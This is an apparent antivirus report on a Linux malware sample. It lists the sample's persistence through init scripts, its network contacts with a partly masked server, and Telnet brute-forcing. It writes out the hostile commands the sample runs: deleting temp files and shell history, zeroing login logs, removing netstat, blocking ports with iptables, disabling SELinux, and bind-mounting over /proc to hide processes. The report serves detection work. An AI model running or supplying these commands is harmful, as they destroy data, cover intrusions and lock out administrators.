Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/developer
- /etc/init.d/rcS_bak
- /etc/init.d/rcS
- /etc/rc.local
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- GNU
Modifies firewall settings:
- /sbin/iptables -A INPUT -p tcp --destination-port 22 -j DROP
- /sbin/iptables -A INPUT -p tcp --destination-port 80 -j DROP
- /sbin/iptables -A INPUT -p tcp --destination-port 37215 -j DROP
- /sbin/iptables -A INPUT -p tcp --destination-port 23 -j DROP
Launches processes:
- sh -c rm -rf /tmp/* /var/tmp/*
- rm -rf /tmp/* /var/tmp/*
- sh -c echo 0>/var/log/wtmp
- sh -c rm -rf /bin/netstat
- rm -rf /bin/netstat
- sh -c echo 0>/var/log/secure
- sh -c /sbin/iptables -A INPUT -p tcp --destination-port 22 -j DROP
- sh -c /sbin/iptables -A INPUT -p tcp --destination-port 80 -j DROP
- sh -c /sbin/iptables -A INPUT -p tcp --destination-port 37215 -j DROP
- sh -c /sbin/iptables -A INPUT -p tcp --destination-port 23 -j DROP
- sh -c rm -rf ~/.bash_history
- rm -rf /root/.bash_history
- sh -c history -c
- sh -c umount /proc/*
- sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /usr/sbin/developer
- /bin/busybox cp <SAMPLE_FULL_PATH> /usr/sbin/developer
- umount /proc/1 /proc/10 /proc/11 /proc/12 /proc/13 /proc/132 /proc/135 /proc/14 /proc/140 /proc/141 /proc/15 /proc/16 /proc/164 /proc/168 /proc/17 /proc/18 /proc/19 /proc/2 /proc/20 /proc/21 /proc/22 /proc/23 /proc/29 /proc/3 /proc/30 /proc/31 /proc/32 /proc/351 /proc/374 /proc/383 /proc/388 /proc/391 /proc/398 /proc/399 /proc/4 /proc/400 /proc/401 /proc/403 /proc/405 /proc/407 /proc/409 /proc/433 /proc/436 /proc/5 /proc/6 /proc/65 /proc/66 /proc/664 /proc/67 /proc/677 /proc/679 /proc/68 /proc/681 /proc/684 /proc/685 /proc/69 /proc/695 /proc/698 /proc/7 /proc/70 /proc/710 /proc/711 /proc/712 /proc/73 /proc/76 /proc/8 /proc/9 /proc/97 /proc/98 /proc/acpi /proc/buddyinfo /proc/bus /proc/cgroups /proc/cmdline /proc/consoles /proc/cpuinfo /proc/[rkmodule] [sh][PPID:0x2c8] [busybox][PID:0x2c9] vfs_read. File: \"/lib/i386-linux-gnu/ld-2.19.so\
- sh -c /bin/busybox cp <SAMPLE_FULL_PATH> /etc/init.d/developer
- /bin/busybox cp <SAMPLE_FULL_PATH> /etc/init.d/developer
- sh -c /bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
- /bin/busybox cp /etc/init.d/rcS /etc/init.d/rcS_bak
- sh -c /bin/busybox echo '/usr/sbin/developer self.load' >> /etc/init.d/rcS
- /bin/busybox echo /usr/sbin/developer self.load
- sh -c /bin/busybox echo '/etc/init.d/developer self.load' >> /etc/init.d/rcS
- /bin/busybox echo /etc/init.d/developer self.load
- sh -c echo '/usr/sbin/developer self.load' >> /etc/rc.local
- sh -c echo '/etc/init.d/developer self.load' >> /etc/rc.local
- sh -c /sbin/chkconfig --add mashiro
- /sbin/chkconfig --add mashiro
- sh -c setenforce 0
- sh -c mount -o bind /tmp /proc/730
- sh -c mount -o bind /tmp /proc/729
- sh -c mount -o bind /tmp /proc/731
- mount -o bind /tmp /proc/730
- mount -o bind /tmp /proc/729
- mount -o bind /tmp /proc/731
- sh -c mount -o bind /tmp /proc/710
- mount -o bind /tmp /proc/710
- sh -c mount -o bind /tmp /proc/728
- mount -o bind /tmp /proc/728
Performs operations with the file system:
Creates or modifies files:
- /var/log/wtmp
- /var/log/secure
- /usr/sbin/developer
- /run/mount/utab
Deletes files:
- /tmp/*
- /var/tmp/*
- /bin/netstat
- /root/.bash_history
- /
Mounts file systems:
- /tmp
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:13219
Establishes connection:
- 8.#.8.8:53
- 3.##.#58.164:42022
Attacks using a special dictionary (brute-force technique) via the Telnet protocol.
DNS ASK:
- sh####.ilove26.cf
Sends data to the following servers:
- 3.##.#58.164:42022
Receives data from the following servers:
- 3.##.#58.164:42022